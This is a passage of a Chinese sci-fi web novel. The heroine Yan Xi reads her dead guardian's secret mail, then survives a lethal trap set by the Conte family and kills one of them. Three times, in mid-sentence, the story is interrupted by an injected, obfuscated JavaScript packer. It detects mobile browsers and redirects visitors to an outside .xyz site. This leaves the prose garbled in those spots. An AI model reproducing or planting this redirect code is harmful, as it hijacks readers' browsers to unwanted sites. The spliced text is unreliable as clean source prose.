颜惜顺着台阶迈上指挥台，想要走上指挥台。最后一道台阶随着颜惜的动作竖立起了一道莹蓝色光幕，挡住了她往里走的脚步——是系统自带的身份认证。颜惜没有管理员身份，只能停在最后一格台阶上。 “手动输入密码或开启瞳孔识别。”一道电子机械声传来。 “瞳孔识别。”段迟凛的声音从颜惜身后传来，他不知道什么时候也走上了台阶，此刻就站在颜惜身后。 段迟凛站在下一个台阶上，颜惜站得比他高一个台阶，她拿自己的脑袋顶端和段迟凛的比了比，发现自己现在海拔高于段迟凛。 伴着段迟凛的话音落下，一道柔和的光从光幕里游离出来，顺着段迟凛的眼部轮廓缓缓勾勒，最后停顿在了他的瞳孔虹膜上，过了片刻，机械音再次响起：“已通过身份认证。” 光幕消失了，颜惜抬脚走了进去。她的视线恢复了清明，看清了里面的样子。里面是一个较大的圆形平台，正对着大门的那一侧有着操作台，上面的按键颜色样式都不尽相同，却没有标注任何用途。 颜惜的目光轻轻拂过操作台上的各种按键，似乎是想要把它们的位置记在心里，但她站在原地，没有轻举妄动。 段迟凛走到中控台前，将手掌放到中央一个掌机上，抬手放出了精神力。 刹那间，控制台上的每个精神力接触点都缓缓伸出了精神力接收器，而后将每一点精神力勾连。操作平台上的指示灯在一刹那亮了起来，大大小小的操作面板霎时出现在了操作台上方的空中，散发着莹蓝色的幽光。 其中最大的，也是位居最中央的那个面板缓缓更新着数据，几秒之后，上面便显示出几行字： “管理员ID持有者：段迟凛。 目前为三位管理员之一，管理员编号为3号。” 面板右下角有一个logo，上面的纹样是一束缠绕着玫瑰的荆棘，旁边还有两个小字——“格林”。 “本次检修已完成，格林平台管理员身份可投入使用。” 身份认证是通过精神力共振来完成的？颜惜心下一愣，这坏了，她本来还想着要是是密钥或者是身份信息，她还可以找机会弄到手拿过来，等下一次再偷偷潜入。 可精神力不行。这东西压根没法复现。 到现在为止，帝国里最前沿的学者也没能研究明□□神力这件精妙的艺术品。 颜惜呆在原地，站着没动。 段迟凛切到了管理员后台，往后看了眼颜惜，发现她正在两眼望天，看上去很是空茫。 “颜惜。”他喊了她一声。 颜惜回过神来，走到中控台前。 “你转过去。”她很霸道地把段迟凛推转身，“这是别人和我的隐私，你不许看。” 她迅速地在隐私密钥那里输入了一长串字母和数字的混杂密钥，手指翻飞，速度快到段迟凛根本看不清。颜惜像是对这串密钥熟悉到不能再熟悉，输入完毕后立马按下了确认键。 格林系统跳转到了一个用户界面。上面显示这人的保密权限极高，但是头像早已灰掉，头像下方显示的最近上线时间是十年前。 是顾嘉的数据备份。 颜惜曾经很多次向段迟凛询问格林平台的管理员身份。她真的很想要登录上顾嘉这个她名义上的养母的数据备份上看看。她曾经在无数个难眠的夜里想，会不会顾嘉其实在死前给她发过消息，会不会顾嘉其实没有去世，她的生物身份id还在帝国某地使用。 但是所有的愿望都在日复一日的绝望里被磨灭了。连空间门都能摧毁的爆炸的威力，怎么可能让顾嘉侥幸死里逃生。如果顾嘉还活着，以她的性格又怎会善罢甘休。 颜惜甩了甩脑袋，将这些杂七杂八的思绪甩出脑袋。她快速地往下翻，筛选着关键字。 顾嘉的私人通讯离线寄存箱里讯息多得离谱，哪怕是颜惜挑出了“实验室”、“精神力”相关的关键词，也翻了好一会儿这才翻到了她想要的东西。 终于，她在一个匿名发来的通讯里找到了一条邮件。 她打开，内容是相关辐射主星的含宁实验 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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所有看似不相关的事件被一件又一件地串了起来，到最后揭露了真相。 颜惜看着邮件。 邮件最下面的日期是五月十日。 ……颜惜眉头皱了起来。 邮件是五月十日发的。辐射星系大爆炸的发生时间是五月中旬，而顾嘉是六月十九日死于空间门事故——尽管颜惜调查后发现那是一场人为爆炸。 时间线横跨不过一个月余，动作快得惊人。 可是既然实验室已经炸毁，证据已经毁掉，单凭莱塔诺的那点电子证据链根本无法给议会里的某些人定罪。既然议会绝对能够保下来这些事情，那为什么还要费劲心思杀掉顾嘉？颜惜只剩下这个没想明白。 动手的风险很大，万一留下一点蛛丝马迹，万一没能成功暗杀，迎接议会的将是万劫不复。 除非……议会自信自己不会失手，自信顾嘉不会察觉他们的小动作。 顾嘉身经百战，经验丰富，如果空间门内部有着炸弹，她绝对会察觉到，并及时安排其他人撤退。 颜惜莫名想到了利用虫洞制造出临时空间门——这个原理，后来据颜惜查证，最早出自帝国工业大学池絮安教授三年前的论文。 但如果，议会早在十年前就已经知道了这个原理呢？这似乎是他们能万无一失地暗杀顾嘉一行人的唯一手段。 43. 给他陪葬 段迟凛站在一边没有上前打扰颜惜。 他看着颜惜的神情在短短十几分钟里变幻了好几次，虚拟屏的光幕明明灭灭，光打在她的脸上，让段迟凛分不清颜惜到底是在开心还是难过。 大概过了五分钟，颜惜将所有电子光幕全部关掉了。蓝光消失了，外面的自然光也照不进来。指挥台上重新变得灰暗下来。黑暗重新笼罩住了两个人。 “得到想要的了吗？”段迟凛问。 “大概吧。”颜惜含糊其辞，她说话向来不喜欢同肯定句，“我可能……有点头绪了。” “那你接下来要去哪？”段迟凛问，“又要不告而别吗？” “不会……”颜惜似乎是在思考着什么，回答得很慢。“不会不告而别的，我有预感差不多要结束了。” 朦朦胧胧的黑暗里，段迟凛看不清她脸上的神情。 “如果我死了，”颜惜突然开口道，“你会为我复仇吗？” 段迟凛被她这样没头没脑的一句话问的有些发愣。 他警觉起来：“你又要去干什么？” “段迟凛。”颜惜的声音突然严肃起来，“我们算朋友吗？” 没等段迟凛说话，她很快又否定了：“就算不是也没关系，因为至少在这件事情上，帮我也是符合你的利益的。” 段迟凛想说话的。他想问她难道在你看来我们连朋友都不是吗？但是颜惜的语气听上去很是认真，最后他只是张了张嘴，什么都没说。 “你先听我说完，不要打断我。” “我要去找安德鲁·康特了。”颜惜说，“我在离开中央星前，他说可以帮我做提高精神力的手术，我要去探探深浅。” “如果我死了，那说明就是安德鲁·康特动的手。”颜惜笃定地说，“议会和康特家和金家在思考着怎么样把持整个帝国。记得我之前和你说过的那个康特家主导的大规模精神力提升实验吗？我怀疑早在许多年前他们就开始和世家合作，他们帮那些大家族里的子弟提升精神力，而那些家族以金钱和权力作为交换。但那些大家族应该没想到康特家给他们植入了能随时危及生命的逻辑精神指令。” “所以一旦真的把他们逼到了极点，他们肯定会拿这个来控制那些腐朽的大家族。你觉得那群贪生怕死、好吃懒做的人在威胁到他们性命的选择前会怎么做？”颜惜半是嘲讽半是讥笑地说，“他们肯定会选择不择手段保住他们的小命，做出什么没下限的事都不奇怪。” “所以你要第一时间把康特家那几个主要核心人物全部控制起来。” “长老院里其他几个人没什么问题，只是基本脉络都被安德鲁·康特控制了起来。道格拉斯是个腐朽的老古板，中看不中用，陈修文是个没主见的应声虫，康娜·德里应该会帮你，其他人都不足为惧。议会上下基本上都是康特家的蛀虫。至于皇室，你自己清楚。”颜惜补充道。 “我把我的生命体征检测数据练到你的光脑上，一旦我的生命体征消失，我的光脑就会自动发送我的隐私密钥给你，你有管理员权限，可以找到我的邮箱记录，在我的邮箱里最新的一份私人可见的邮件里，我按照时间顺序整理了一份议会的完整非法实验的证据报告，还有我之前做的一系列猜测，炸毁星系、谋杀元帅和上将、组织违法实验、恶意贩卖人口，哪一件都足以够他们喝一壶。你可以直接公布这些东西，然后下达紧急逮捕令。”颜惜说，“一旦我真的死了，立刻马上把康特家最主要的那几个人抓起来。特别是格鲁吉亚——我姑且先认为你的精神力高于她吧，我怀疑最后的密钥在她的手上。” 颜惜抓住段迟凛的手，拿掉他手上的光脑，将自己的生命体征检测仪数据绑定到他的光脑上，而后收回了手。 “如果我没能回来，如果！”颜惜再次强调了一下，“把我的剩下的那点钱给海莲娜吧，虽然不多，但应该够她买一个二等星系的假身份了，如果她想，这些应该够她离开中央星开始新的生活。” “海莲娜为什么要离开中央星？还有你什么时候和她关系那么密切了？”段迟凛眯起眼睛问她，“那我呢？” “你什么？你还不够有钱吗？”颜惜瞠目结舌。 “海莲娜和我。”颜惜说，“可能只是同病相怜吧，我会不自觉地帮她一把。” 就像她希望自己在十二岁那年也有人能帮她一把，而不是让她一个人愤怒地丢在瓢泼大雨里。 “算了，说这些干什么呢。”颜惜笑笑，“我走了。不想帝国毁掉的话就按照我说的来。” “再见，段迟凛。” *** 颜惜走出这个数据基地后并没有急着去找安德鲁·康特。 她坐在中央星随处可见的绿地公园里的长椅上，望着不远处的喷泉发呆。 今天阳光很好，光芒穿透喷泉的透明水波，弯弯扭扭地映射在地上。 她给海莲娜发了消息，对方还没回。 她问海莲娜想要真实的痛苦还是虚假的幸福，现在她将这个问题又问了自己一遍。 帝国毁灭了和她又有什么关系呢？颜惜问自己，让那群人自己内讧大打出手又如何呢？让皇室和议会两败俱伤不好吗？她可以站在没人看到的地方看戏，多好啊，又报复了回去又能兵不血刃。 可是她不想要虚假的幸福。 “果然。”颜惜拿她的鞋跟轻轻敲着砖石地面，发出清脆的声响，“我还是想要自己亲手去动手。” 顺便还有她自己的那么一点藏在心底的善心。果然她还是没法看着其他所有无辜的人为这些尸位素餐的人买单。如果她真这么做了，那和当年那些在她出生的星球上肆意挥霍人命，两次毁掉她容身之所的人又有什么区别。 她在明媚的阳光里给安德鲁·康特拨通了通讯。 现在是夏天的末尾，秋天的开始。阳光晒在身上，其实还有些烫。 通讯接通了，声音那头传来了安德鲁·康特略有些不耐的声音。 “颜惜？”他问道，“你怎么现在打电话过来？有什么事？” “你之前不是答应过我，要做精神力手术吗？”颜惜轻笑着说道，“我被抓去北部星系一趟，受尽了折辱，林璀真不是人，她抓我只想从我嘴里套出情报来，我说不她就让手下把我关进禁闭室里。我想明白了，我想要提升精神力，我想要变强。” 尽管林璀似乎也并不在乎别人怎么样看待她，但颜惜心下还是对林璀抱歉了一声，毕竟像她这样的抹黑还是太超过了。 “你不知道我们现在很忙吗？我现在忙着找戴勒，哪有空来管你？”安德鲁的语气听起来不是很好，但似乎通讯那头有人来制止他继续说下去，还问了他几句，果不其然，片刻后，安德鲁的语气就变了。 是谁在电话那头指点他呢？安德鲁是个脑子实在不行的蠢货，连自己的情绪都不会控制，单论智商说不定还不如戴勒，颜惜心下揣测，是那位手段了得的梅根夫人，还是格鲁吉亚？ 除了去北部星群这次颜惜太过大胆，颜惜确认在之前的交流中颜惜没露出过一点破绽。要么就是那次在辐射赛场上她伸手想去拉段迟凛露了馅。抑或是……她回中央星的时间太巧了，刚好吻合上了戴勒的去世时间段。 不管怎么说，目前康特家哪怕是要怀疑她，也没有完整的证据链，再怎么试探，也不会直接对她下手。对颜惜来说，优势在她。 “颜惜你……”对面的声音有几分犹疑，“你现在在哪？” 颜惜心下冷笑。 早在颜惜刚进大学的时候就派了人安排进和颜惜一个宿舍，就为了方便监视颜惜的动向，这下还在这里假惺惺地问颜惜在哪。 “我在……”颜惜环顾周围一圈以后报出了一个地名，“我在艾莎公园里散步。” “那你如果还想要接受精神力提升手术，那就赶紧到这里来。”对方一改之前不耐烦的语气，报出了一个地址，“我在这里等你。” 颜惜眯起眼睛，在光脑导航上输入了这个地址。 颜惜觉得有几分眼熟，调出她和宋书的记录一看，发现宋书之前工作的那个实验室就位于这个地址的附近。 颜惜抿抿唇。看起来这次安德鲁·康特确确实实把他们总部的地址发过来了。 颜惜走到附近的轨道交通，坐上悬浮轨，前往目的地，一直往前。 悬浮轨对颜惜来说是一样很玄妙的东西，它不仅仅是一个单纯的交通工具，它承载了颜惜很多面临着重大抉择后一个人冷静的时刻。十二岁那年颜惜从顾家大门口淋着大雨离开，她湿哒哒的，坐在悬浮轨上一个人默默地流泪，一边在心里暗暗恨着所有人。十五岁那年颜惜从荒星上离开，来到了中央星，坐着许久没有坐过的悬浮轨，目不转睛地看着和以前一模一样的五光十色的中央星。当时带她来的人还在身边嗤笑她是个来自荒星的土包子。 而在二十二岁的今天，颜惜看着悬浮轨窗外被阳光笼罩的高楼与绿地。悬浮轨每经过一个站点，都会短暂地陷入黑暗和人工灯光的包围中。驶过这个站点，又有阳光透过对向的透明玻璃，平铺到她的身上。轨道在地上投下浅浅的阴影，就像是蜿蜿蜒蜒人生路径。 颜惜在第十三个站点下了这趟车。 走向了目的地。 *** “你来了？”颜惜一走进康特家的基地的大门，身前就有人说道。 乍然从阳光明媚的外边走进黑灯瞎火的基地，颜惜不适应地眯起了眼睛，感觉眼前甚至有雪花碎屑在飘。 颜惜盯着他看了好半晌，才认出是安德鲁·康特本人。在他身侧还站着格鲁吉亚·金和梅根·金。 这是基地门口，这三人带着颜惜往里走，一路经过了摆放着绿植、铺着灰色地毯的寻常的前台、会客厅、会议室。这个基地就像是所有正常的基地一样。四人继续往走廊深处走去。 这是颜惜第一次近距离见到梅根·金。她和格鲁吉亚不愧是母女，长相有几分相仿，棕褐色的长发，苍白的面容，瘦削的身形，再加上昨天刚经历了自己孩子的失踪，此时此刻她的脸上满是忧色，，眼球里布满了血丝，眼角也红着，看得出有流过泪后拿帕子频繁抹去的皴擦痕迹。看上去真的很像一个为自己下落不明的儿子担忧的好母亲。 颜惜冲她笑笑。 “梅根夫人，您好。”颜惜打了个招呼，而后转头向站在一旁的格鲁吉亚致意。 “听说你和格鲁吉亚还有戴勒在当时格林联赛的赛场上分到了一组？”梅根看向颜惜。提到了戴勒，似乎又触痛到了她的情绪，她低下头，将脸埋进帕子里抽泣起来，连肩膀都在颤抖。 “节哀顺变。”颜惜安慰道。帝国里的搜救技术发达，更别说每个人身上都有无数精密的生命体征检测仪和定位器，隔了一天还没找到人，那么基本上可以默认是处于去世状态了。 “是的。”颜惜回答道，“不过我根本不会任何战斗技巧，在那次比赛中全靠队伍里的其他人。” “听说你当时和段迟凛殿下一起不小心摔下了大船？”梅根没过一会儿就平复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15622861|168381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了自己的情绪，抬起头，擦干眼角的泪，继续问道，“听格鲁吉亚说那水底下居然有空间门，不知道你和殿下是怎么逃脱的？” 终于来了。这个颜惜和段迟凛串过供，于是她对答如流。 “我不知道，我当时呛水晕了过去。”颜惜闭上眼睛，摇了摇头，“我醒来的时候，发现我和段迟凛掉在里辐射赛场距离最近的那颗叫x-84的卫星上。我们找遍了整个卫星，终于找到了那颗卫星上别墅区里还停着一艘没被开走的小型穿梭舰。我们乘上那艘穿梭舰误打误撞地调整了航向，最后顺利找到了一个口子，逃出了辐射星系的包围环。” “真是运气好。”颜惜拍拍胸口，装作惊魂未定的样子，“差点就死在那个封锁星系里了。” “这样啊。”梅根·金点点头，“听安德鲁说你被林璀拘禁了，好不容易才被放出来，所以想要做精神力增强手术？来保护自己？” 颜惜点点头。“之前听安德鲁说过，他答应我可以帮我做精神力增强手术，我在之前就很是心动，这次回来以后愿望更加迫切了。” “只是……”颜惜犹豫地环顾四周一圈，问，“手术必须要在这里做吗？这儿看起来更像是休闲娱乐基地之类的，看上去并不像是能做手术的样子。” 梅根莞尔一笑：“不用担心，颜小姐。我们现在才在基地的前半部分呢，等走到后半部分你再怀疑也不迟，况且，这里可是帝国里唯一一处能做这台手术的地方，这可是我们康特家的核心技术。” 颜惜听到她的话，挑挑眉。 这里是唯一能做精神力提高手术的地方，梅根没必要在这种地方撒谎。看来她是找对地方了。到时候只要把这个基地毁掉…… “不过我真的很好奇手术的原理。”颜惜装作闲聊一样，挑起话题，“因为一般来说精神力不是都是伴随着人的一生吗？在十三岁人体完成发育过程中，精神力也伴随着人体的发育而成长，基本上十三岁以后，精神力数值就不会再改变了。” “那这个精神力提升手术，又是如何做到将精神力抬高整整一截的呢？”颜惜笑眯眯地问，“不过如果涉及机密那我就不问了，毕竟这是你们独门的核心技术嘛。” “不，告诉你也没事的。”梅根说。 她叹了口气。 “其实本来我们也不可能在精神力提升这样一个前沿研究环节上取得如此巨大的突破。可是在十年前，有两位一心为科学献身的伟大科学家，听说我们康特家在支持这个项目的研究发展，于是义无反顾地加入了项目组。”梅根说，“在他们的帮助下，我们的研究得到了极大程度的进步。他们发现了，精神体具有联结性，说明了精神力在本质上其实也是由精神体这一器官产生的一种向外释放的人体本源产生的能量。” “在这个理论基础上，这两位科学家又亲自参与了实验项目，最后得出来的结果是只要能够移植精神体这一器官，精神体的质量更高，就能提升精神力的点数。”梅根说。 颜惜听出来了，梅根描述的这两位科学家就是莱塔诺和她的丈夫兼助手哈鲁。直到现在为止，梅根描述的东西基本上和颜惜在辐射主星实验室里看到的实验日志内容相符合。只不过梅根将这些非法实验崇高化，把说的更好听一点罢了。 颜惜不动声色地压下唇角：“那，所以精神力提升手术本质上就是精神体的移植手术?” “是的。”梅根回答道。“其实就是精神体的移植手术。” “那……”颜惜犹疑了一下，“我想问问精神体的来源……是否……” 梅根微微一笑。 “我之前说过，我认为那两位科学家实在是很崇高。”她说，“这两位科学家在得知这个结论后，自愿签署下了身体器官捐献协议，因为他们两人的精神力点数是95点。他们愿意为了帝国乃至全人类的进化而自愿做出奉献。” 颜惜眯起眼。梅根在撒谎。莱塔诺和哈鲁明明是被他们强行带走的。 越往里面走，周围的装潢开始逐渐变化了。灰色的地毯，透明的玻璃，温和的绿植，全部替换成了白色的冷冰冰的走廊墙壁。 “你知道的，在做精神力研究之前，我们康特家一直以来专精的都是克隆技术和药物研究。”梅根说，“于是我们提取了这两位崇高、伟大又无私的科学家的基因，将两人克隆了下来。在某种意义上，他们也得到了永生。” “所以，”颜惜艰难开口道，“你们的精神力手术，就是将这两个人的克隆体，挖出精神体，再将这个精神体移植并替换手术患者的原有精神体？” “是的，”梅根的嘴角翘起一丝弧度。一行人停下了脚步。停在了白色走道尽头的一间手术室门口。 “就是这里了，”梅根笑了笑，“颜小姐，你还有什么疑问吗？” “没有疑问的话……” “嘭”的一声。 伴随着脚步声落下，手术室的大门在颜惜走进这个房间的那一瞬间关闭，将颜惜一个人锁进了这个纯白色的、中央放置着巨大手术台的手术室里。 手术室里的灯在大门关上的那一刻全部黑掉了。梅根站在手术室外，透过手术室透明的玻璃窗，颜惜看到了她笑得诡谲的一张脸。 “那就开始吧。” 手术室上方现出几道红光。颜惜抬头，认出了那是杀伤力巨大的激光武器。侧方还弹出了好几台全方位扫射的无人机枪。 “没想到你还真敢来。” “既然你弄死了戴勒，那你就给他陪葬吧。” 44. 一场豪赌 在这种危急的境况里，颜惜居然还闲着反思了一下自己到底在哪里露了馅。 是她昨天发的威胁短信没能完全匿名干净？还是刚才在和梅根的对话里有什么逻辑漏洞？ 颜惜抬头望了眼正在充能的激光武器，这东西杀伤力巨大，能将发射路径上的所有东西彻底切割，唯一的缺点就是每次发射激光的时候中间会有三十秒的充能期。 颜惜在心里掐着秒，试图放出精神力，先激活小型虫洞打开空间门，等逃出了这里再说。毕竟如果一直困在这里，这些武器无穷无尽，先被耗死的是颜惜。 她抬手，却发现精神力根本放不出来。 颜惜懵了。 到目前为止，颜惜之所以能打赢她碰到的所有人，都是在她的精神力加持下的。如果不使用精神力，颜惜本身的战斗素养不差，但是她这个在中央星荒废了七年的身体素质，实在是有点不够看。 为什么能彻底隔绝精神力？众所周知，精神力由精神体产生，只要一个人的精神体不出现器官衰竭，精神力就像伴生一样，会一直伴随着一个人。 颜惜摸了摸自己的耳后，确认自己的精神体没有任何问题。她在来时没有受到任何伤害，也没有服用违禁药物，也没有受过外伤，到达基地后也没有吸入任何不明气体，那么……问题就出在这间手术室里。 颜惜躲过一道发射来的激光射线，激光将路径上所有的物体全部切割殆尽，在地板上留下一道深深的划痕。颜惜抬眼望向手术室的门外。梅根和格鲁吉亚还没离开，三人正在门外，似乎是想要观赏她被耗死的丑态。看来她们是早有预谋。颜惜想，想必她们也清楚这间手术室里不能使用精神力的状况。 颜惜倒没有崩溃。她夜视能力不错，在黑暗里抬眼环顾周围，还真让她发现了一点端倪。借着下一道激光的充能时间间隙，她看清楚了四面的墙壁上似乎有着星星点点的在闪着光的东西。 又是一道激光扫下，颜惜紧急往左侧一闪。这间手术室里的无人机枪的弹药也填充完毕，开始全方位扫射。 颜惜有点狼狈地降低重心，在地上借力往后翻，躲到了机枪的扫射盲区，顺便靠近了最左侧的墙壁。 她用指甲在墙上狠狠一扣，挖下来一点点闪着光的物质。她眯起眼睛盯着指甲缝里的那点正在闪光的东西。 颜惜身边认识的专门搞材料的估计只有她在长老院里的好朋友曼诺。她迅速地用光脑拍了一张照片传给他，来不及打字了，希望他和自己之间的默契能让他明白自己的意图。没想到这里居然连光脑的信号也隔绝了。颜惜“啧”了一声，那么看来这里的材料有隔绝信号的效果。隔绝了信号，那么是不是说明也能隔绝让她精神力失效的东西，让精神力失效的范围控制在这个房间里。 梅根似乎并不着急想要一下子弄死颜惜，她只打开了最中央的那台激光扫射仪，其他都处于关闭状态。她似乎是想看着颜惜像困兽一样拼命挣扎，直到最后被围猎成功的过程。 她保持着十分钟加一台激光仪或是机枪的频率，似乎是想看颜惜被慢慢折磨至死。 好恶劣。颜惜想，不过换了她，要是杀死了自己重要的人的凶手就在眼前，她说不定会比梅根更恶劣。她嘴角扯平。从今天的情况再结合海莲娜的描述来看，梅根似乎是康特家的一把手，那么——杀死顾嘉的幕后真凶也就是她。 真是滑稽——现在她和梅根是共轭仇人了。 “我真的很好奇。”又是一道激光波扫了过来，颜惜似乎是已经适应了节奏，轻巧地避开，甚至还有闲心和站在外面的人对话，“你们是怎么发现戴勒是被我杀掉的？我觉得我做的已经万无一失了。如果没有什么实质性的证据，我猜你们查一百年都不会怀疑到我的头上。” 梅根站在这间伪装成手术室的专门为颜惜连夜打造的刑场外，面无表情。 “真是没想到。”她压下眼底的恨意，“你这么能装。” 是啊，颜惜确实是做的万无一失了。 格鲁吉亚站在她身后，默默地向里面望了颜惜一眼。她和颜惜也算是认识七年，只不过在之前从来没有过密的接触，直到上次在辐射赛场，她莫名其妙地进入了她们的队伍里。 要知道，她和戴勒动用了潜伏在格林平台工作的暗桩，这才把他们三个还有段迟凛和顾闻远分进同一个队伍。这本来是一个为杀掉段迟凛和顾闻远精心搭建的小队，没想到颜惜莫名其妙地也被分了进来。 格鲁吉亚知道颜惜之前有和安德鲁搭上线，自以为她也姑且算是她们这一边的。而颜惜也确确实实在赛场上表现得蔫了吧唧的，和之前她猜测的一样，颜惜不足为惧。虽然段迟凛没能如他们所愿死在太空里，颜惜也被他连累一起掉进了空间门里，但他们都没有将怀疑的目光放在她的身上。 谁能想到……颜惜莫名其妙去了一趟北部星系，回来的当天戴勒就意外死亡了。 别人不清楚，但格鲁吉亚却是知道的，戴勒是去追杀那个闯入地下实验室的林璀的手下。 按理说以戴勒的精神力点数，在帝国里根本没什么人是他的对手。但戴勒死了。凶手甚至潜入了旁边的举行穿梭舰中，将整座穿梭舰也同时炸毁。 关键是这人根本没留下任何可以追踪的痕迹。ta的手脚干净得不像话。戴勒的尸体在穿梭舰旁边的一艘客船里被发现，尸身已经被炸毁的船舱燃起的大火烧得成了一片炭。尸检结果显示，戴勒在生前受到了非人的虐待。显示手脚骨骼被外力击打致断裂，致命伤是来自额头处的三发子弹，但最奇怪的是这三枚子弹来自定制的专属戴勒自己的手枪弹夹。 而在戴勒死后，旁边的穿梭舰也被人为引爆，穿梭舰的监控在第一时间就被炸毁，前去收拾遗骸的清扫队根本没在其中提取到任何生物信息。 最后还是格鲁吉亚想起，戴勒的生物芯片里似乎有着记录声音的功能。效忠于康特家的法医好不容易才从戴勒的脑后找回了已经粉碎且被灼烧得差不多变成粉末的生物芯片，又经过了修复专家一夜的复原，这才将生物芯片恢复了1%。而这已经是极限了。 但是就是这1%的芯片记录下了戴勒生前听到的最后一句话。 是一个云淡风轻的女声，声音很好听，但淡淡的语气里带着一丝残忍的愉悦：“没想到你自己撞到我的枪口上来，真好，拿你第一个开刀。” ——是颜惜的声音。 ——是颜惜！ 居然是她！ “啊，原来如此。”颜惜恍然大悟，“我说呢，看来还是我太过宽容，再来一次就应该多开几枪，直接打烂他的脑袋。这样别说什么芯片了，连骨骼都不应该存在。” 梅根眼神越来越冷。 颜惜的话无异于火上浇油，将她的愤怒逐渐引燃到了最高处。 梅根按住手上的遥控器，直接将所有杀伤力巨大的武器数量调节到最大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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格鲁吉亚拖着她的母亲，没走几步远，好歹逃过了激光波的扫射。而安德鲁·康特的运气就没那么好，他来不及躲闪，也根本没有建立精神力防御屏障的能力，被切割开大门的激光一扫而过，整个人被切成了细细碎碎的无数片，鲜血往外喷射而出，淌了满地。 颜惜漠然淌过一地的红色。 她脚上穿着作战军靴，此时此刻随着她一步一步向前，沾着血的脚印和她大出血的右臂滴落的血液一起混在地上，再加上康特家基地里惨白的灯光，整个场面像是惊悚恐怖电影里的案发现场。 格鲁吉亚拖着梅根，根本走不快。再加上她今天没带小型虫洞，无法在这里进行空间门传送离开，只能咬着牙拖着她的母亲向前跑去找支援。 “聪明反被聪明误啊，”颜惜像是根本感觉不到痛一样，不远不近地跟在格鲁吉亚和梅根的身后，也不包扎自己的伤口，任由血淌了一路，“怎么样？本来布置好了用来杀我的陷阱，没想到把自己的亲弟弟也给搭上去了！啧啧啧！” “这个疯子！”格鲁吉亚在心里暗骂道。她严重怀疑颜惜在中央星隐瞒本性久了，现在都有点心理变态了。 格鲁吉亚一边向前走一边疯狂地按着光脑上的紧急戒备按键，等着其他警卫人员的到来。她单独和颜惜对上，按颜惜受伤这么严重的情况来看，说不定她还有胜算。可是她现在还拖着梅根，没法腾出手来，只好先带着梅根紧急撤离。 走廊尽头越来越近了，外面似乎隐隐传来了人声。 格鲁吉亚加快了脚步。 突然，一个鬼魅一样阴魂不散的女声出现在她的耳后。 对方吐气时的气息甚至拂过她耳后的发丝。 “走这么快干什么？”颜惜说，“外面有谁能帮你吗？” 45. 来者何人 格鲁吉亚想不明白为什么事情会变成现在这个样子。 “康特家到底惹了你什么？”格鲁吉亚平静下来，问道，“段迟凛能给你的我也能给，长老院给你的我也能给，林璀能给你的东西我更是给得起，为什么你唯独针对我们？” “我有不得不赢的理由。”颜惜轻轻地说，“单单针对你们。” “不过放心，”颜惜抹了一把右手上的血，“其他几个也不是什么好东西，收拾完你们下一步就是他们，别急，一个一个来。” 格鲁吉亚没再继续往前走了。 她停下了脚步。 一队人从转角处绕了出来——是基地内部的巡卫人员。 格鲁吉亚将梅根拉到身后，打了个手势，示意那批人先带着梅根走。 “可是金小姐，那您……”那队人见对面只站着一个颜惜，想要上前来，被格鲁吉亚反手制止。 “你们带着母亲先走。”格鲁吉亚咬着牙说，“这里有我，而且……她马上就要来了。” 颜惜本来都抽出了剑，想要转身追上梅根，但是看到光脑上弹出了一条回复她的消息，放下了手。 “走了也行。”她轻笑一声，“反正……没有了我还有别人。” 格鲁吉亚不明白她的意思，但她还是拔出了自己腰间一直佩戴着的手枪匣里的袖珍手枪，枪口对准了颜惜。 颜惜余光看着那群警备人员带着疲软脱力的梅根离开，目光转向了正在她对面的格鲁吉亚。 “你想不想知道你弟弟怎么死的？”颜惜故意刺激她，“他和你一样也是95点精神力吧？和你一样学的也是用枪？最后死的好惨，我杀得了他，你猜猜你会怎么样？” “不重要。”格鲁吉亚抓着扳机的手指都在抖，“你现在重伤，谁能赢还真不一定。” 她刚才回头看到了安德鲁·康特死前的惨状，颜惜刚才的那一番话又让她联想起自己弟弟焦黑一片的尸体。她的胃里阵阵翻涌，再加上刚才经历了这样的两级反转，还被颜惜吓了一下，嘴上说着谁赢还不一定，其实在气场上就怯懦了三分。 “是吗？”颜惜这时候还有闲心笑，她从收纳戒指的急救箱里掏出了一支药剂，抬手给自己扎了一针止血针剂。 药剂生效的速度很快，颜惜甚至能感觉到自己的伤口里渗出血液的速度变慢了。 海莲娜的子弹呼啸而来。颜惜眯起了眼，这是她的习惯，为了更方便她追踪空中的弹道轨迹。格鲁吉亚手中的枪口还残留着附带着精神力能量逸散的微弱莹蓝色光芒——距上次她见到格鲁吉亚的这把枪的时候，她似乎又做了新的组装，强度比上次更优越，精神力的附加效果带来的速度提升更加明显。 颜惜挽了个剑花，轻剑的剑芒划出凌厉的寒光，她左手握剑，精准地将那枚带着精神力的高速袭来的合金弹头凌空劈作两半，刺耳的金属声音回荡在走廊里。 惨白的灯光下，子弹断裂成两半的弹壳在空中高速旋转着，折射着惨白的灯光，最后嵌入两侧走廊边的管道，发出沉闷的撞击声——走廊两侧的下水管道碎了。污水从被打碎的下水管道里喷涌而出，淌了走廊一地。 格鲁吉亚眼中掠过一丝阴狠，根据她训练多年的战斗本能，她的手指发力，迅速地再次扣动扳机。她的手枪发射出又三发子弹。颜惜不得不承认这两姐弟的弹道规划训练一直做得不错，封死了她的路线。 颜惜压低重心，受伤的右手撑地，整个人几乎是伏在地上，右腿直接朝着格鲁吉亚的小腿扫了过去，速度很快，军靴带起了地上混着血和脏污的污水， 